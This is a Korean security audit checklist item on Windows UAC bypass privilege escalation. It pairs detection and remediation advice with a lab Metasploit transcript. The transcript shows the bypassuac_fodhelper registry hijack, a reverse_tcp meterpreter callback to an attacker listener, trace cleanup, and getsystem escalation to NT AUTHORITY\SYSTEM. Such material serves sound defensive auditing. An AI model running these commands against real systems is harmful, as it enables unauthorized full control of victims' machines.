

| 10                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Privilege Escalation - UAC Bypass (권한 상승 - UAC 우회)                                                                                                                                                                                                                                                                                                  |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 취약점 개요                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                     |
| 점검 내용                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <ul style="list-style-type: none"> <li>시스템 내 일반 사용자 권한에서 최고 관리자 권한으로 승격 가능한 취약점(UAC 우회 등)이 존재하는지 점검</li> </ul>                                                                                                                                                                                                                                      |
| 점검 목적                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <ul style="list-style-type: none"> <li>문서 열람 등을 통해 탈취된 불완전한 일반 유저 세션이 시스템 전체를 제어할 수 있는 최고 권한으로 확장되는 것을 차단함</li> </ul>                                                                                                                                                                                                                               |
| 보안 위협                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <ul style="list-style-type: none"> <li>정상 윈도우 프로세스를 악용한 UAC 우회 기법(예시: bypassuac_fodhelper)을 통해 공격자가 시스템 최고 권한(NT AUTHORITY\SYSTEM)을 획득하여 모든 보안 통제를 무력화함</li> </ul>                                                                                                                                                                                  |
| 참고                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | <ul style="list-style-type: none"> <li>사용자 세션 획득 → UAC Bypass 모듈 실행 → 시스템 최고 권한 탈취</li> </ul> <p>[판별법]</p> <ol style="list-style-type: none"> <li>인터넷이나 메일을 통해 다운로드한 Word/Excel 문서 실행</li> <li>'콘텐츠 사용' 또는 '매크로 포함' 버튼 클릭 시 경고 없이 백그라운드 프로세스(cmd.exe, powershell.exe 등)가 실행되는지 확인</li> <li>외부 IP로 비정상적인 네트워크 연결(Reverse Shell)이 시도되는지 확인</li> </ol> |
| 점검대상 및 판단기준                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                     |
| 대상                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 윈도우 운영체제 (UAC 설정, 권한 관리 정책)                                                                                                                                                                                                                                                                                                                         |
| 조치방법                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | <ul style="list-style-type: none"> <li>UAC(사용자 계정 컨트롤) 보안 수준을 가장 높은 '항상 알림'으로 상향 조정</li> <li>최신 윈도우 보안 업데이트 적용을 통한 UAC 우회 취약점 패치</li> <li>업무용 PC에 로컬 관리자 권한 부여 금지(최소 권한의 원칙 적용)</li> </ul>                                                                                                                                                          |
| 점검 및 조치사례                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                     |
| <p>1. 취약한 동작 확인</p> <ul style="list-style-type: none"> <li>공격자 세션에서 getuid 명령 시 일반 유저(DOJ\test)로 확인됨.</li> </ul> <pre> msf6 exploit(multi/handler) &gt; [*] Sending stage (203846 bytes) to 192.168.152.10 [*] Meterpreter session 1 opened (192.168.152.128:4444 → 192.168.152.10:51306) at 2026-02-25 04:33:20 +0900  msf6 exploit(multi/handler) &gt; sessions -i  Active sessions ----- Id  Name  Type             Information           Connection --  ---  -- 1   meterpreter x64/windows  DOJ\test @ DOJ  192.168.152.128:4444 → 192.168.152.10:51306 (192.168.152.10)  msf6 exploit(multi/handler) &gt; sessions -i 1 [*] Starting interaction with 1...  meterpreter &gt; getuid Server username: DOJ\test meterpreter &gt; </pre> <ul style="list-style-type: none"> <li>exploit/windows/local/bypassuac_fodhelper 모듈을 실행하면 레지스트리 키 조작 (Registry Hijacking)을 진행함.</li> <li>fodhelper.exe는 윈도우의 '선택적 기능 관리'를 담당하는 정상적인 시스템 파일이다. 이 파일의 가장 큰 특징은 실행 시 사용자에게 예/아니오를 묻는 UAC 팝업을 띄우지 않고 자동으로 최고 관리자 권한(Auto-Elevate)으로 실행된다.</li> <li>메타스플로잇은 이 점을 악용하여, fodhelper.exe가 실행될 때 참조하는 특정 레지스트리 경로(주로 ms-settings\Shell\Open\command)에 공격자의 악성 페이로드를 몰래 삽입함.</li> </ul> |                                                                                                                                                                                                                                                                                                                                                     |

- 결과적으로 공격자의 새로운 미터프리터(Meterpreter) 세션(Session 2)이 관리자 권한으로 생성됨. 메타스플로잇은 방어 시스템이나 관리자에게 들키지 않기 위해 조작했던 레지스트리 키를 즉시 삭제(Cleaning up registry keys)하여 초기 상태로 되돌려 놓음.
- 완전한 관리자 권한(High Integrity)을 얻은 공격자는 메타스플로잇의 내장 명령어인 getsystem을 사용합니다. 이 명령어는 '명명된 파이프 가로채기(Named Pipe Impersonation)'라는 기법을 사용하여, 윈도우 운영체제의 가장 강력한 내장 시스템 계정인 NT AUTHORITY\SYSTEM으로 최종적인 권한 상승이 진행됨.

[ Session 1 ] 일반 사용자 (Medium Integrity)



[ Registry ] 악성 페이로드 삽입

(HKCU\Software\Classes\ms-settings\Shell\Open\command)



[ Execute ] fodhelper.exe 강제 실행

(윈도우 정상 프로세스이므로 UAC 팝업 없이 자동 상승)



[ Session 2 ] 관리자 권한 획득 (High Integrity)

공격 성공 직후 조작한 레지스트리는 즉시 삭제(흔적 제거)



[ getsystem ] 시스템 최고 권한 탈취 명령

(Named Pipe Impersonation 기법 사용)



[ SYSTEM ] 최종 타겟 탈취 완료 (NT AUTHORITY\SYSTEM)

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_fodhelper) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_fodhelper) > set LHOST 192.168.152.128
LHOST => 192.168.152.128
msf6 exploit(windows/local/bypassuac_fodhelper) > set LPORT 4455
LPORT => 4455
msf6 exploit(windows/local/bypassuac_fodhelper) > exploit
[*] Started reverse TCP handler on 192.168.152.128:4455
[*] UAC is Enabled, checking level...
[*] Part of Administrators group! Continuing...
[*] UAC is set to Default
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe
[*] Sending stage (177734 bytes) to 192.168.152.10
[*] Meterpreter session 2 opened (192.168.152.128:4455 -> 192.168.152.10:51310) at 2026-02-25 04:37:26 +0900
[*] Cleaning up registry keys ...

meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getid
[-] Unknown command: getid. Did you mean getsid? Run the help command for more details.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

[시스템/정책 조치 예시]

- UAC 보안 수준 최고 단계로 상향
  1. 제어판 -> 사용자 계정 -> [사용자 계정 컨트롤 설정 변경] 실행
  2. 슬라이더를 가장 위인 "항상 알림(Always notify)"으로 설정
  3. (효과) fodhelper.exe 등 윈도우 기본 프로그램이 백그라운드에서 권한 상승을 시도하더라도 반드시 화면에 동의를 구하는 팝업이 노출되어 자동 실행(Bypass)이 차단됨.
- 표준 사용자 계정 사용

업무용 PC를 지급할 때 로컬 관리자(Administrators) 그룹에서 일반 사용자를 제외하여, UAC 우회 기법 자체가 성립하지 않도록 근본적으로 차단.